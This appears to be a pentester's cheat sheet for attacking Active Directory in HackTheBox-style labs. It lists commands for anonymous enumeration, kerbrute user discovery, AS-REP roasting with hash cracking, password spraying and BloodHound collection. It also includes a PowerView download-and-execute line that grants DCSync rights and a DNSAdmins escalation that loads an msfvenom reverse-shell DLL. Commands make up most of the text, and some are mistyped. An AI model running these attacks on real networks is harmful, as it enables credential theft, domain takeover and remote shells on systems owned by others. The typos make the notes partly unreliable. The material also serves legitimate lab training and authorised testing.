Active Directory ( Recon -> PE)

Enumeration

Enumeration is the key

  • Enumerate Usernames from every possible area

    • RPC

    • SMB

    • LDAP

    • Web Servers

    • HTTPS/SSL Certificates

    • WinRM possibly???

    • Enumerate via SID's

Default Checklists

  • Check for anonymous, guest and null sessions on the open services

  • RPC

    * rpcclient -U '' -N 10.10.10.10 -c 'enumdomusers'

  • SMB

    * smbclient -N -U '' -L 10.10.10.10
    * cme smb -u 'anonymous' -p 'anonymous' --shares
    * cme smb -u 'Guest' -p '' --shares
    * cme smb -u 'Guest' -p '' --rid-brute

  • LDAP 

        * ldapsearch -h $ip -x -s base namingcontexts
        * ldapsearch -h $ip -x -b "DC=domain,DC=tld" '(objectClass=person)'
        * windapsearch -d domain.tld -u '' -p '' -m users

  • Web Servers Enumerate users from contat page, members page etc..

  • SSL Certificates 

    * Organization Name
    * Possibly an registered admin name ????

  • Enumerate via SID's

        * lookupsid.py anonymous@10.10.10.10 -no-pass 
        * lookupsid.py guest@10.10.10.10 -no-pass

Identify

  • After enumerating all the user names its time to identify which users are registered as a part of the network we are testing

  • This can be done with kerbrute

# add domain name form nmap output to /etc/hosts file
kerbrute userenum -d domainname --dc domainname usernames.txt -o valid_users.txt

  • Now with the valid users filter out the output and save its output to a new file

cat valid_users.txt | awk '{print $7}' > users

  • With the user names in hand, we can enumerate which user account is configured with DONOT REQUIRE KERBEROS PREAUTH with GetNPUsers.py from impackets which outputs an TGT ticket to the hacker which can be cracked to obtain the password of that user

GetNPUsers.py -usersfile users -outputfile hash -dc-ip 10.10.10.10 domain.tld/ 
hashcat -m -m 18200 hash /usr/share/wordlists/rockyou.txt --force

Enumerate Again

  • Once the valid credentials of the network user is obtained, enumerate the services once again as an authenticated user

  • SMB

    * crackmapexec smb 10.10.10.10 -u 'user' -p 'password' --shares
    * smbclient -u 'user' \\10.10.10.10\share

  • RPC

    * rpcclient -u 'user%password' 10.10.10.10

  • WinRM

    * evil-winrm -i 10.10.10.10 -u 'user' -p 'password'

  • LDAP

    * windapsearch -d domain.tld -u 'user' -p 'password' -m users # choose any module

Password Spraying

  • CME

cme smb 10.10.10.10 -u user.txt -p 'password' --continue-on-success

Network Enumeration

  • Once these doesnt provide any useful information since we have the credentials of the network user we can query the network with bloodhound to obtain information which can help us in the exploitation

bloodhound-python -c all -u 'user' -p 'password' -d domain.tld -ns 10.10.10.10

BloodHound Permissions

# This is ippsec's method 0xdf used a oneliner 
iex(iwr -uri http://10.10.10.10/PowerView.ps1 -usebasicparsing)
$SecPassword = ConvertTo-SecureString 'ippsec123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\dnoscp', $SecPassword)
Add-DomainObjectACL -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "dnoscp" -Rights DCSync

Active Directory Recycle Bin

  • Get Information about deleted objects

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
Get-ADObject -Filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

Machine

Group Exploitation

DNSAdmins

  • Members of DNS Admins can add dlls to the server which can be exploited to obtain reverse shell

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > privesc.dll
impacket-smbserver share .
dnscmd.exe 127.0.0.1 /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
sc.exe stop dns
sc.exe start dns
